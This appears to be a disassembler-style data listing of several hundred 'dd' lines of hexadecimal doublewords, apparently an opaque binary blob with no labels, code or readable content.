		dd 9A12D40Fh, 0C7E7F51h, 0E171D02Dh, 2F21C96Fh,	0C82B7C81h
		dd 0E1178ED4h, 684E4Ch,	5E6D8AD0h, 0C325C561h, 89714412h
		dd 5B9D92EAh, 0B92DA7DFh, 3A9D9188h, 33FD9801h,	0A2BB71h
		dd 50858B26h, 0E847554Ch, 32E25EA0h, 0A6AEE90Bh, 0E5897538h
		dd 9ABF02F8h, 15C5F7B3h, 0E9345320h, 0E2810B64h, 723F345Dh
		dd 7B5552F2h, 17850DF2h, 0FE223EC1h, 6E422B41h,	4404CE57h
		dd 50016108h, 9A3A6EDAh, 0F07BDC29h, 62822B81h,	746F0C73h
		dd 32F99D8Dh, 93C4B340h, 1EE7527h, 60D44CBDh, 6A5F732Dh
		dd 74921761h, 0C018880Fh, 95B34634h, 0BB92809Fh, 5BC9AC8Ch
		dd 0B21FF67Ch, 0D8A2301Ch, 0F427C902h, 0C07F4F41h, 4099BD2Fh
		dd 572AB911h, 7C95B310h, 0D4D2F11h, 7B685FC9h, 5613F0FFh
		dd 6EAEFC39h, 8C2F09A7h, 4CDF1D1h, 0D4B5BD01h, 92F6F82Ch
		dd 9212C36Fh, 0E6E04C1h, 0F5FBFC60h, 7B7FC6B1h,	0F6D300B8h
		dd 9C1B5C34h, 0CBA5175Bh, 0C60BFF7Bh, 52587E27h, 13D4A954h
		dd 0F299A0EFh, 638300D5h, 459362E1h, 487FC1Dh, 82FAC0CEh
		dd 93A3BA72h, 6B7EA14Bh, 0BD5BD4E7h, 0DB8A4FDCh, 400AAEDDh
		dd 0CFEB56D2h, 8095B73Dh, 2047F138h, 2DB537Fh, 0F2EE04D3h
		dd 0ADC6A873h, 20324300h, 61E8F430h, 0CF0B002Fh, 92AC46D7h
		dd 0EC985BBEh, 0E726CD27h, 125C11FDh, 0F34F98Bh, 0FC2FCCh
		dd 3B5ADF0h, 1909CC8Eh,	43E5A01h, 7227A76Bh, 81411DF1h
		dd 5B0218D1h, 910EB55Fh, 0EB83801Bh, 95B123BAh,	3F8B1461h
		dd 0E1FFB820h, 0F4E30481h, 0FC08A91Bh, 5A5A18Ah, 87D357C2h
		dd 0B0CB70h, 0C6982BBh,	56DB45B9h, 6489749Dh, 0A18DFC5Fh
		dd 880F0586h, 21CAC019h, 69003310h, 66D38193h, 9F239AE3h
		dd 1C578494h, 73FBA16Eh, 41D3ACCh, 0FD71108Fh, 746EEB60h
		dd 0BB947500h, 551E730Fh, 412DB3B0h, 0D4BE7E29h, 2B1D52h
		dd 1F4585D0h, 13875905h, 0F1310C61h, 0BADB7BE1h, 8975F2C0h
		dd 85E66B62h, 7E09052Dh, 41D064BDh, 5BDF8B57h, 0B21AF67Bh
		dd 9FD86C1Dh, 0F1698259h, 3ED400B0h, 0BD568C5Eh, 0B88F14Bh
		dd 88C700FBh, 0C42209D7h, 0C8FBD220h, 0FE097278h, 57D0861Ah
		dd 0DF040FE6h, 48BD4149h, 23F1ABC1h, 0C0BF9001h, 335BF86Eh
		dd 5A00D5A3h, 7A1C2D6Bh, 0CB263FF7h, 82601EF5h,	7377662h
		dd 89FED335h, 991FE0E5h, 1816B0D2h, 0EAB8905Bh,	4F29FF80h
		dd 0A6003857h, 0C3B5112h, 3BC50F3h, 5AD161B2h, 89A9E206h
		dd 0BB492BBDh, 3ECD576Ah, 0F5162DC0h, 7C3500A6h, 47ADDAD9h
		dd 271CC781h, 898B6443h, 0CFA05D8Dh, 0BC2B8768h, 7A57E355h
		dd 5700EAFDh, 45F78052h, 0B9009289h, 90C5CA93h,	978B36C6h
		dd 0D878C2C0h, 5E1C6225h, 3D13DC49h, 0DAAFFDA5h, 9BE692A0h
		dd 405E2A00h, 0A0E23F98h, 5B0A9224h, 833D5725h,	690E5485h
		dd 27EF09EFh, 0DEEFB976h, 5A170940h, 48C00Ch, 1F276A3Eh
		dd 2FB81437h, 0E91CD87Ch, 7C2F024Eh, 0F75BDE4Fh, 76000CE2h
		dd 2F64DDC7h, 0D1A0C5D4h, 309C039Dh, 0AFF823E0h, 0DB431649h
		dd 45CCAF63h, 5A2DE829h, 7A6F613h, 86E19FEAh, 60A809D5h
		dd 0EC00A94Ah, 8CFB0EF3h, 8BE198FDh, 207DBB91h,	7E8AE138h
		dd 0EF806262h, 0C545E6D7h, 0BFEDE426h, 80F5AE2h, 0DDA40FC7h
		dd 8060EAA2h, 841DB1BDh, 171A535Ch, 0BBAC64Ch, 0CF77CD72h
		dd 605D4BE2h, 13FA215h,	0E7B7418Ch, 6F82DB80h, 76083BC3h
		dd 329D30CDh, 0BB044685h, 3B18207Dh, 5A905064h,	27C3B67Ch
		dd 85C0A4CDh, 8CEA78Ch,	12FD0EA0h, 0DF160509h, 169187B7h
		dd 0BAD75085h, 1DF159C1h, 80CBBD6Ah, 0A4DB6268h, 246672BBh
		dd 82F84898h, 447A289Dh, 72DCE3D4h, 0E4CE1227h,	1220EBD0h
		dd 27DC2F1Ch, 38E65136h, 3D8D091Ch, 0F71B4E2Fh,	0A21EE66Eh
		dd 1792EC1Ch, 0AB1DD4A7h, 0FA951180h, 0A9E1B750h, 18C23F8h
		dd 0CBF4431h, 0CD31FB37h, 917BFCA7h, 7F41E073h,	0FF0916CAh
		dd 40213093h, 5F000314h, 5D1B0B2Bh, 992ED1Fh, 2827FD55h
		dd 0E495EFF7h, 0E2A4EAA4h, 13D5B0C5h, 0D231E1BDh, 0AE7075BEh
		dd 96E9614Bh, 0EB069B8h, 0B98BF15Ah, 25BD6062h,	5E1A9CDFh
		dd 0C39ADE56h, 0A8B6CD4Fh, 9845CF69h, 0EDB10C32h, 85765BA9h
		dd 953EE988h, 0A8D8A45Bh, 0B0865A21h, 7F4AB3C4h, 88AF7EFDh
		dd 30A7C718h, 815D7170h, 873CCB05h, 9BFB07F5h, 596DCB2Ch
		dd 4C84F10h, 238F243Bh,	2F6F794Bh, 0F400DBD8h, 0D3472AEFh
		dd 160EDAF0h, 60FE8BD7h, 9CAA3D6Fh, 0C2F3D827h,	0EF2D9684h
		dd 897D9F7Ah, 64A25CEDh, 5605FEF5h, 0F3ABFCB4h,	426F92EAh
		dd 325F0325h, 7BB3400Bh, 0DBD497C5h, 0E946672h,	13A3C627h
		dd 5C848761h, 5BBDF4CBh, 98452417h, 9D097D12h, 17E6D721h
		dd 3B9B2EEBh, 57A05A8Fh, 97D3997h, 150D8517h, 0BE4A91F2h
		dd 0F2BF4775h, 98710076h, 151B896h, 7F9C7499h, 80DE949Dh
		dd 0C6687C2Eh, 0B00045Eh, 9EB7B242h, 163849E2h,	0AC27EC58h
		dd 6ABE4FD1h, 191426E4h, 0E2C1F7CEh, 0A82B6154h, 0B247B03Ch
		dd 7E77398Ah, 93C79211h
		dd 1D8BED9Bh, 258DFE01h, 16AE6222h, 8BB72F45h, 0AF74C44Fh
		dd 17C8C59Ah, 0F86793C9h, 2DF2B5C7h, 786133FCh,	0D17C8853h
		dd 73442D11h, 0C2518D3Ch, 0B83CED93h, 0B2F53BDAh, 0BAFE8A13h
		dd 8F95C89Ah, 49E80CC1h, 0F2A97FC6h, 0AAF93750h, 1E3DDD90h
		dd 9778FC25h, 1372AC21h, 9FBA26FFh, 0C4F2C1DFh,	9D3A3370h
		dd 0C01A5AFDh, 609668C9h, 0E1F1B752h, 0E055893h, 0F4F817B5h
		dd 3777F925h, 926A110Eh, 0D7A30C16h, 10C40B5Ah,	62299C75h
		dd 50F94B4Bh, 9304DEE6h, 0D1561823h, 0DF2974A1h, 0AD010EB8h
		dd 2132AAB3h, 66E13568h, 0DA0FE89Ch, 69F12B0Bh,	0C714DFA0h
		dd 258D9B1Ah, 0C4B8F76Bh, 0BF5A10DBh, 6A7FB8DDh, 0D64A2602h
		dd 0F3843C05h, 1B159004h, 600B79CAh, 467F8E0Fh,	9E5C97C9h
		dd 9CB1DF4Bh, 0DC6340E8h, 51783411h, 0E4595ACBh, 8A39B529h
		dd 0AA84C374h, 54E092A6h, 6D1329EDh, 89A9783Bh,	0BD8C17ACh
		dd 0C928DE7Eh, 0B55CFAB7h, 23B7CA0Bh, 9993D14h,	5F9D2BDAh
		dd 0BDDFEAA9h, 801B910Bh, 40BBFE75h, 0C596011Fh, 0F1C7E9D4h
		dd 7073C6FFh, 7D807F72h, 0ACF5F4FBh, 0DB7DEB12h, 82024EF0h
		dd 8154E0D5h, 383027EFh, 0F2E813D4h, 32E649h, 161C69B2h
		dd 0DDFEBFE6h, 2DF29549h, 0A5D6FC5Bh, 718A30F3h, 8A43E032h
		dd 6BB6A5DDh, 6B85F6F0h, 97AFC603h, 0BE5B181h, 170C5FB2h
		dd 7D9B02DDh, 0DA32752Dh, 0FA402FEDh, 4A1AF848h, 8E2A0B0h
		dd 0F0FDB28Bh, 0A8504EA8h, 1D13C01Ah, 0E3BBA32Eh, 4B3D30F0h
		dd 0ACC15214h, 59BD4EEDh, 7005EBE8h, 7EDD71F0h,	2B3DDC09h
		dd 0E9ECF733h, 0E05C4AAAh, 418DCDEBh, 3072ACA6h, 0FCEF81B5h
		dd 53176F37h, 4AA6D1FFh, 4A3BBE5h, 25F68A4Bh, 0F63C7486h
		dd 76769Dh, 56FDEABFh, 6A2FA5ECh, 0D66A9002h, 0AD70733h
		dd 0BFA11AABh, 0DBF36580h, 60018B3h, 0FD4ACB0h,	195BD9BFh
		dd 4525090h, 53B16A51h,	9298B87Ah, 90750AAAh, 2602DE84h
		dd 8E3E682h, 8842F7D0h,	978BECFDh, 11BCEC1h, 8E7ACDE9h
		dd 75692428h, 79C4732Dh, 72DE751Bh, 87500CDh, 0B2211CA2h
		dd 4FE00D4h, 1D6A4CABh,	74B913Fh, 0A6D345A9h, 9F0AA008h
		dd 0E8915AC1h, 98C009AEh, 1E00F1FCh, 0A7B30004h, 0E01BD07Fh
		dd 61EBBD16h, 49C1A653h, 0A52568A4h, 23C5F9EBh,	0A25CA77Eh
		dd 0AD4C1Bh, 74D98E66h,	21F1AAB0h, 147160C4h, 0C1A408E8h
		dd 70C998Eh, 22FD8DC1h,	870E743Ah, 0AB29C53Eh, 0D7825DF2h
		dd 66E2EECAh, 1C43777h,	17482FA8h, 6BBED593h, 450328A2h
		dd 82862C5Bh, 8CAC8890h, 52735C04h, 60BF8F04h, 0F2A0EF31h
		dd 5B58BD17h, 0EBF10509h, 1805D1ABh, 3009CA3Ah,	3BF3DF7h
		dd 70332F47h, 80144AD4h, 0F6DF816Dh, 46978945h,	88A1A834h
		dd 11628014h, 46F18902h, 95AE961Dh, 5DB84280h, 0FEF9A9EEh
		dd 0E9FD04CFh, 0E9F571E4h, 3FB9311Ah, 3AA4B3h, 0D2EB8100h
		dd 3B284D80h, 0C2BD6CBAh, 70DFA997h, 0A711BFF9h, 29A73EF6h
		dd 8B5F95Ah, 4907E1B5h,	1E9D7EA2h, 1A0ED0FFh, 4778E9D9h
		dd 0E651FFh, 1D41B2DCh,	6A1C9B44h, 0A682B552h, 0E0B8B354h
		dd 0E14E4953h, 61F1E0FEh, 0F5F99DA1h, 6A086508h, 0A9451727h
		dd 9E11889Ch, 52D165E9h, 11953140h, 0F3BA9720h,	0DF70E7A9h
		dd 1AEB1197h, 0EADFE517h, 89B6377h, 0BF8E5522h,	0C4F6725Ah
		dd 16842F77h, 3F804537h, 0EB906041h, 61B00FF1h,	90292E7h
		dd 3E891BDh, 0B350BA66h, 0A7D16A92h, 0D58C4BBBh, 0EEB92DFCh
		dd 96BB3C80h, 426F6BF4h, 0A5C2B9E4h, 2537FC2h, 0A53861D1h
		dd 2BADB680h, 0B50B5441h, 0DCB81EA4h, 9A7EFC9Ch, 0D00ADA02h
		dd 0D185AA7Ch, 17EF071Bh, 0FB8B25B0h, 246FD5F0h, 111295C0h
		dd 0D45F250Dh, 901F42Eh, 0ACEDE973h, 3265A483h,	44F3203Fh
		dd 4F58519Eh, 0CF3A00BBh, 6D21718Ch, 8C4C48C3h,	27BD207Bh
		dd 0EDCF5B4Bh, 0E4E78009h, 8AB77Dh, 4BEC5CD7h, 0DB4ABA33h
		dd 1000EDE8h, 0CF816024h, 0CD13DCFAh, 0F3090350h, 0E9E3D428h
		dd 183CF181h, 0E69A3A3Eh, 0CE1CC8h, 0BEFAC4ACh,	0B4FB127Bh
		dd 51073052h, 0B7B0BD4Ah, 20953F04h, 69A98A0Fh,	7AB86000h
		dd 617109FDh, 7C001A9Dh, 82FE607Fh, 0F103664Eh,	23F479A5h
		dd 4BE7808Bh, 0F67E4C6Ch, 1A859D0Bh, 4979E777h,	0FD4697Ch
		dd 5035928Dh, 919AF7E0h, 51971BFBh, 0E2D76B39h,	71A3736Bh
		dd 0B335E01Ah, 3463849Fh, 2821BC12h, 0FC9F0603h, 59AC2BBEh
		dd 0B5E01814h, 565AD7FBh, 0B7CBC035h, 80079C1h,	0CAF4DA16h
		dd 0B7E1FF90h, 3A33C2C1h, 5822BD8Eh, 4E069497h,	0B0CAA766h
		dd 4B50D833h, 34FECAEBh, 26C15904h, 46BEC70h, 0BC1B9512h
		dd 97E192BCh, 4BD7C334h, 3175D1F9h, 0AEA72E01h,	0D05F02A0h
		dd 0DEBD3B30h, 4E07CB81h, 0AACCEC74h, 0D310077Bh, 51DFE46Bh
		dd 2A8B91E1h, 624DD9F2h, 0E37D984Bh, 5D2E2A0Ah,	0E50B834Bh
		dd 60F0F6FBh, 25150DEEh, 3C195300h, 4895177Ah, 30FC27FDh
		dd 0FE9DBF50h, 539061D8h, 5F119C51h, 0E794C86Dh, 68F70137h
		dd 86F5EAB4h, 2DB43B53h, 2919124Bh, 2576F79h, 0D1B501C7h
		dd 22385F2Eh, 884E0F50h, 0CFB270EAh, 4000379Bh,	0EB394D3Bh
		dd 732C8h, 0E828EF02h, 0E0F1BB55h, 0E65F3325h, 0A799F15h
		dd 76D290A5h, 248A00C1h, 0DBCD124Ah, 0E9245B85h, 60960DFAh
		dd 194104EEh, 0F4B5052Fh, 0D6B7BDC1h, 270F59D2h, 77034E51h
		dd 0CF2C32F7h, 0DB15E360h, 99C04B0Dh, 0FBA16ED6h, 0F12BDD2Fh
		dd 45942B8Dh, 0A0358AAFh, 29CAE3Fh, 1259767Ch, 3160B63Ah
		dd 51BF1519h, 0BC6D6B20h, 0EF894142h, 0A17E407Dh, 0BC0E0B4Eh
		dd 698E74BFh, 0B9C3216h, 0AB29D7DBh, 0AB6BF58h,	965C95DCh
		dd 0F0B59BAAh, 0D6FA0042h, 744ABF50h, 4CF74C17h, 0DEEC82E4h
		dd 0BC149B00h, 0AF3D4616h, 5A0A0404h, 0B8849E81h, 0F3B992CDh
		dd 7E0428BCh, 11633322h, 2F2129EAh, 56847AE8h, 0BED0945Fh
		dd 0E9C1DB0Fh, 4014F631h, 99AB9F54h, 5FB9161Fh,	651D77E7h
		dd 8B63F428h, 0B7F88AA1h, 5EDE0A0Fh, 0A06EBF00h, 97587639h
		dd 0C5C2DBEDh, 2D835C8Ah, 1B59B2FBh, 230B8D18h,	0DF3C6772h
		dd 8075AD08h, 6A45CEF2h, 0B32723DCh, 0E45A74C0h, 0DA65D250h
		dd 0C1BDB9D2h, 8A3A179Bh, 70005858h, 6D61962Dh,	0FB42C04Bh
		dd 0F906C61Dh, 3AC6D40h, 0D302652h, 51783127h, 0ACA37E0Bh
		dd 7763BBC0h, 949532CBh, 7B925F7Dh, 474100B9h, 0E68D0EF0h
		dd 3DBE2D64h, 138EC810h, 0A24C0316h, 3DF20488h,	0F0805780h
		dd 0F89DE22Ah, 0E9019B19h, 0B10CE1A5h, 6B78B48Ah, 5CFC1C22h
		dd 802DBD9Dh, 6CF84A6Ah, 6409B4F5h, 0C4942FA4h,	1BF4B728h
		dd 0AD64207Ah, 0FDD7BFD5h, 0BD12CE7Ah, 0F97E947Eh, 7DCBC05h
		dd 0A330454Ch, 96F8E155h, 65691D8h, 234EE05Bh, 0C6235197h
		dd 0E4806FD6h, 0B2832845h, 893E45F9h, 5AFC03C1h, 1E217F4h
		dd 21C4FF9Dh, 0F4EEE7BBh, 0C63204BBh, 0D328ECA7h, 38D6D05h
		dd 23216FEBh, 53A20D15h, 3B23FD52h, 0E885FF2h, 1D73FD80h
		dd 589C5ECEh, 9802A74Ch, 427D702Eh, 0CC4EE5Ch, 6BFA3B40h
		dd 0CF5E818Dh, 0C88E02BAh, 1C5450CCh, 0AC7E0A40h, 0BB065B2Ah
		dd 62824D64h, 0DDD8DD61h, 0DCE5C78Dh, 2F5F805h,	0E18CAFC8h
		dd 0CFB35F12h, 0D94AA405h, 0D8FA04D5h, 0D9BD860Ah, 9D5EAD0Ah
		dd 7A9CDFA7h, 0F824B898h, 0F11A4788h, 44F3DD2Dh, 0EC6E52h
		dd 0CC519D65h, 86BF577Ah, 0A558983Eh, 0D692FE5Fh, 0FEE0BD96h
		dd 126A70A5h, 0E1355E59h
		dd 1E6E2BB3h, 53385A07h, 8C796922h, 0C0C0B60Fh,	0B14A3D03h
		dd 9F4B1E78h, 20B5F18h,	23090291h, 710D525Dh, 5089135Bh
		dd 8073DB20h, 8BB5A585h, 0F94B1E02h, 0ACB11301h, 0D205A47Eh
		dd 0EE126CBCh, 0E1ED31EBh, 7ADA3A63h, 99C018C8h, 5879D0CDh
		dd 0E64CB1A9h, 0B4D07027h, 5BD42152h, 232670BEh, 2B40ED9Dh
		dd 7CE7B7h, 59B529C1h, 0B3960004h, 8D8B5E5h, 0C0935BEDh
		dd 0EF3FBBEBh, 0A852288Fh, 0C7A92D87h, 96D6097Eh, 14A3C1F9h
		dd 0F380FC64h, 9EB7554Eh, 81D7DA4Bh, 56C83F7Eh,	0A6892B61h
		dd 0E67105EDh, 70AB4345h, 7A743BAEh, 0E7201F01h, 0CC41F32Bh
		dd 40CDA87Bh, 2A9AFB9Dh, 4A137BDh, 0FB1F3AB5h, 0E2BD7F98h
		dd 1F949D11h, 5987BB1Ch, 61EA35D2h, 0B8830F12h,	61EA4A3Dh
		dd 3B29D57Dh, 889D73F2h, 0F57A163Dh, 0D0ED8D6Ah, 6CA5AC0h
		dd 958777D2h, 1959DEFBh, 69059118h, 2E687471h, 4AE5E2EAh
		dd 0B509ABC0h, 8F074BF5h, 0C3B3178Ch, 88838BC0h, 0B1704EE9h
		dd 6E9B7B5Ah, 0D5EFE581h, 5D47F879h, 5E2E933Bh,	8B131BA3h
		dd 87369BC1h, 0E30E708h, 24A55C5Eh, 2F58CE6h, 2C01B7D9h
		dd 519F5377h, 3DC9661Bh, 9DBE8BAAh, 240AD6FCh, 0CE460A4Fh
		dd 760711F7h, 47C88F5Eh, 8EBF0590h, 0F2E60C2h, 9B33FAE4h
		dd 388A8D74h, 0E1AB9404h, 0F9AD2FEAh, 1D0963BCh, 74C193FEh
		dd 1C6E0535h, 0F0D1A617h, 12F7090h, 0FDC6D9A0h,	6E58729Ah
		dd 4B4B88h, 74850930h, 56B805DCh, 142CB112h, 81C780ABh
		dd 9D1353EFh, 0BBA746Ah, 81FE05C8h, 778F01DCh, 66D5BAEDh
		dd 1DDD300Eh, 0F83B0B41h, 0F600975h, 5E4E580h, 8AF78271h
		dd 0AF2400BAh, 754363C5h, 0BD7125D0h, 85B7D146h, 6FAC0271h
		dd 0FAF88B85h, 0A6801DDEh, 0ECDC4D84h, 9D4CCB61h, 0A22E173Dh
		dd 67A6D636h, 0FEF111A0h, 9D0B1F7Eh, 568B8E7Ah,	19B74728h
		dd 0D94B38F5h, 0CCC38210h, 5E75AAA5h, 1DF0A2F0h, 899ED355h
		dd 6DC03BA8h, 0BF04D1FFh, 44BD739h, 78A21DBCh, 0F1260211h
		dd 2A7F61F0h, 229E7701h, 0F95EF713h, 44BFA56Eh,	8A54E027h
		dd 310FFD19h, 0BF00F90Dh, 0EB0CF8B6h, 4585A3Ah,	0FFEC9890h
		dd 0E63EAC31h, 931AE24Ah, 50AFF84Eh, 1D091238h,	1731EB1Ch
		dd 382F54E9h, 1C41780Fh, 0E6DBC484h, 0AAE0B891h, 0A879C04h
		dd 0F54FC1FBh, 22062BEBh, 5EDF4DBDh, 34F98850h,	9F9A8802h
		dd 0FFF3DE51h, 0BF0F5259h, 4C67A298h, 0F373775Fh, 0C1E090D0h
		dd 0F867C8Ah, 0EA96BB7h, 2D2EFB98h, 0BE13097h, 0A8754BBDh
		dd 0F1C4A448h, 0DC0328AEh, 0FC1C2F00h, 0EC19221h, 5654270Ch
		dd 5F5A71E6h, 7D88BBC5h, 8486FEFFh, 84600997h, 8C9535FAh
		dd 26E6E6ABh, 0CFB9EB33h, 9AB02288h, 150520C9h,	0E470E603h
		dd 0DC095271h, 0E23B3FC9h, 11112BFh, 3A8660EEh,	0E700FD95h
		dd 2DC435FEh, 58539CFh,	0C5B77F24h, 0F1F2AB3Bh,	652F3948h
		dd 566CB2FDh, 0AF8313A8h, 3B72DCh, 0EDEB3CB8h, 81687DA6h
		dd 0CEF99C00h, 0D4263002h, 0FDD55E42h, 0FABF1275h, 9E46B7E1h
		dd 0C82B2877h, 4FFF77D9h, 0C0B6ECD1h, 0A95D15B5h, 259A018Eh
		dd 0DE33AF62h, 651C6E3Dh, 96194C5h, 0E997B4AFh,	5B3BADF3h
		dd 268D88DEh, 124C7E4Bh, 0C0A9BD50h, 5BB5BB07h,	10356ADCh
		dd 0BFF813CEh, 200EBF22h, 0BC78BBF9h, 0E91E9C0Bh, 257E5B5Bh
		dd 2976C264h, 25B1F49Dh, 58E6C262h, 0DB0CC2B7h,	72DB80CFh
		dd 0C2B983AFh, 22AD625h, 5DA9FBD0h, 79883C45h, 2CD74D1Ah
		dd 0A522C0AEh, 48D4106Ch, 0BD0BAEFCh, 94DF1A29h, 94D71250h
		dd 0F46FEE16h, 0D886BC3Dh, 0F253A78Bh, 2D347920h, 90376A5Fh
		dd 3883A087h, 1FB5D160h, 9C6528F5h, 60D83AB0h, 4B69BA1Fh
		dd 0C1FD8501h, 0DD2B6165h, 0B05666E6h, 1860B255h, 6C296EDBh
		dd 427B9DEh, 0D2D1F310h, 0B21F657Dh, 575EFB5Ah,	24118D9Dh
		dd 1069825Eh, 58CB8856h, 4EBF25F6h, 0C6B3CF7Ah,	0B209ED0h
		dd 7D2ECFECh, 0D8A53B74h, 2FFB9DECh, 25091B6Ah,	20BD751Dh
		dd 4E5BAF00h, 5E5F8C9Dh, 0F1A6C5FAh, 76E36B2Eh,	0B5168490h
		dd 0E9CAAF25h, 4EE4ECB0h, 0F6B0D005h, 0B4046B3Bh, 8494D99Dh
		dd 0B2FC8BEFh, 0DE493016h, 8D01FB09h, 82EDA9C9h, 5CE1394Eh
		dd 3B4B51B4h, 1A2A2970h, 0A210000Ah, 40A9F794h,	9C2F793Dh
		dd 51AA5331h, 9421818h,	0A28AAFA3h, 31829971h, 5721DDBDh
		dd 0A4F0ADABh, 7A8E084Bh, 7E959522h, 401E46Fh, 9EAF04A0h
		dd 0E9268419h, 40A17BB8h, 75A73E04h, 7999AA0h, 16AF733Eh
		dd 92BB2BDDh, 9ADB6015h, 96A7070h, 12CDB529h, 0F220BC71h
		dd 997AAE8h, 72875BC0h,	629B5457h, 4FFE7E6h, 0B01616C3h
		dd 0E69519C6h, 0F7625960h, 936E4Bh, 9EC092E6h, 124FB6B5h
		dd 0F0B72C9Ah, 504A8E1Dh, 1AB240B6h, 7ECE8230h,	0FEC71755h
		dd 0B1015215h, 1F93EE7h, 8807E4E8h, 7D0A39AAh, 0EFF8F864h
		dd 7E30CA80h, 0DB05E17Ah, 501A1279h, 0F442AD8h,	8BAD1615h
		dd 0ED5E81A0h, 265A1D9Bh, 7EA6CBD5h, 94AF4DE0h,	23C4E24Bh
		dd 925DF9ABh, 94BE3912h, 0BC1FED03h, 0AEE3010Ch, 2E065E78h
		dd 65062016h, 97AD105Eh, 1501B580h, 0D804AFC1h,	83E2888Ch
		dd 7676E0FBh, 5868A100h, 0BF2B5915h, 2EFC162Ah,	7EC1EF10h
		dd 0F9F14616h, 0BB14602Bh, 0D4B57335h, 9AA34028h, 0D1094718h
		dd 71F4D540h, 0DFE640BEh, 9A975BA2h, 0AFE97D48h, 0E9E56088h
		dd 0D001D42Eh, 5D2C6542h, 7372EDFBh, 0B27F2D9Eh, 0D2F97DD7h
		dd 2F45BD84h, 0BFC82F29h, 0FB575AF3h, 0E7B0B718h, 5F552515h
		dd 359D20EEh, 5D1404BBh, 20A6F892h, 7BF0532h, 0EB250281h
		dd 89F90A12h, 76001EBCh, 2A5721FBh, 4F7BD01Fh, 0B27FEAC5h
		dd 0BA2A7800h, 34D34B4Ch, 0F68E0F27h, 21A160D4h, 0F125BD03h
		dd 0B75BEC1Eh, 2841BA4Dh, 0A6318912h, 79CBC4C2h, 0BA344ADFh
		dd 5889729Bh, 875F307Dh, 0F34CF9EBh, 131C7CF2h,	0EC61541Dh
		dd 0A6BA9250h, 9F250946h, 5A81DF72h, 2B31ED9Dh,	882E56DDh
		dd 62E2DEEAh, 66ACFA0Bh, 949EF5B7h, 0F55BDF42h,	2DA71117h
		dd 58C748E3h, 74A81BAh,	884A11F7h, 20F43AFFh, 90A64A18h
		dd 0EA50FB4Ah, 545E9D33h, 87B5DFA5h, 79E06924h,	2D1555Eh
		dd 6ADB8BBBh, 0B7556163h, 9A520B45h, 0C5A66D5h,	399CF557h
		dd 0C4B4DEAh, 602712CFh, 8D893D60h, 0B5A5CD5Fh,	5A7CDA6Fh
		dd 0D1C013FCh, 0FD93DA7Fh, 0BFFF0507h, 0E190FE51h, 28A2C0E6h
		dd 0B51BE9A4h, 0F0C89B90h, 1E703900h, 5D681917h, 5488019Eh
		dd 0FD8A97E2h, 89A93F5Bh, 0E8E6D2AEh, 95A3F004h, 51B5FA2Ch
		dd 5419F552h, 9209DC08h, 7149CABFh, 5DAD44C7h, 4888B96h
		dd 0C63D13BDh, 0F106045Eh, 9DF6EB08h, 92F09CD8h, 97DECCB7h
		dd 8FA60BDEh, 7307F509h, 6D5EB192h, 0D1FD3E18h,	27935CB9h
		dd 0D932F217h, 0A69F9944h, 0ACD286B8h, 36524A2Ch, 0DF94695Eh
		dd 0CBB8925Ah, 333ACC4Ah, 8525D09Dh, 45352551h,	50B4C103h
		dd 6EBF852h, 5A9F172Fh,	0D271BE5Bh, 6410401h, 6F2E0B79h
		dd 1B235Ch, 0C47B21B7h,	0A113EA9Bh, 98BE6082h, 195F15BCh
		dd 0B0808FF9h, 53F4E938h, 0F73B7E2Fh, 615F6910h, 73793A97h
		dd 76C55058h, 0BE0A3013h, 0AEC1DF30h, 5BA3000Eh, 0C781CAD2h
		dd 8254D89h, 8B3FD473h,	29732050h, 3A4870h, 18F4A034h
		dd 81948A91h, 0F138F304h, 0F3EB0CCFh, 0A52077BEh, 0B5313925h
		dd 0C451332Fh, 67E7A68h, 0CF4B4863h, 60164017h,	6CE2DA8Bh
		dd 2FC08901h, 0F9179FB0h
		dd 0E0E62B16h, 80945129h, 12C73593h, 0F22F53C8h, 0E2F87C5Bh
		dd 96042205h, 0B7507380h, 0F80CC990h, 0E1D1EFF7h, 0F830D387h
		dd 3A976C94h, 510C732Eh, 6401D008h, 68AE5309h, 4AF0D898h
		dd 8918E30Fh, 103DDF63h, 0C578DB84h, 9342D04h, 1074FA96h
		dd 4A3DCBBBh, 0DB5E5230h, 0D9760EFCh, 0D200304Ch, 61DDA731h
		dd 96585A11h, 0CF16DFBCh, 9CBA2E5Bh, 1A9703B1h,	0DD9D424Fh
		dd 53970D70h, 181A5934h, 1AA0F20h, 6105023Ch, 4A5FF23h
		dd 0B24DE63Bh, 0CC4B3119h, 0CE8C784h, 5785292Fh, 0B5092401h
		dd 0EBB6544Dh, 9BD7C0E3h, 0F866817Bh, 0F97A1518h, 11FCDEh
		dd 0B022FD5Eh, 0CDE4C1C8h, 1600FAB5h, 0EF2099B5h, 404F17CFh
		dd 0A94B714h, 1700184Ah, 497BC23h, 25B18B32h, 9EC2BFE9h
		dd 68E0DE6Dh, 96239B6Bh, 0E31012CEh, 0C06A4E98h, 0C4DA0600h
		dd 490B4118h, 11C90350h, 9623E981h, 56DE4A0Eh, 0E9F10115h
		dd 8B1C7441h, 7ABCF7A1h, 0C0590380h, 0F84500CAh, 92DF305Fh
		dd 7B0B94F9h, 7E773E2Eh, 13AC0026h, 0B14A9778h,	0A85863B7h
		dd 37ECB44h, 3A4D55A4h,	49A1F689h, 0EBA03B6Ch, 0B33400F3h
		dd 0C5D7431Fh, 5C14EF27h, 801FAE77h, 0FAC1CD96h, 5BC5F041h
		dd 2DE0F090h, 293E044h,	5AF7955Eh, 4F40E341h, 0FC186718h
		dd 0D4C2843Dh, 0B641B70Bh, 0E1B7F583h, 0A005703Bh, 0EE25BB00h
		dd 4ECDA86Dh, 21788Fh, 509B4692h, 5912D13Eh, 0A5DA3500h
		dd 0F11E71D2h, 56E928BCh, 3FD01D86h, 1A3740F2h,	0B15B759Bh
		dd 0A2030500h, 1DF025EAh, 0B47D0FB2h, 3A6038D7h, 0BF88BD52h
		dd 0F44CB00h, 677C6579h, 0A63B0027h, 0F52F5CDDh, 4D00D9C7h
		dd 6871B2DBh, 27AA085h,	20708114h, 20DFA2EFh, 80513DBFh
		dd 0B4475BDFh, 6DFEEEB7h, 0BF733800h, 0CE3ABD22h, 47C0F13h
		dd 0D129BCDFh, 23800E74h, 35759314h, 8D6C0681h,	0B4A4B548h
		dd 0BCAD6628h, 0A0B89D06h, 5E6293EDh, 373FB4D1h, 0DA3D800h
		dd 979FE8F9h, 0C023DCF0h, 2E9A1D88h, 0E431DCB3h, 63172CAh
		dd 2894210h, 7A4CDAA1h,	0EC449D8Eh, 15D4E7C7h, 5A3500EEh
		dd 7E1122B5h, 0C6005C91h, 0D8B42FB2h, 0F3EA37h,	2BBE513Ah
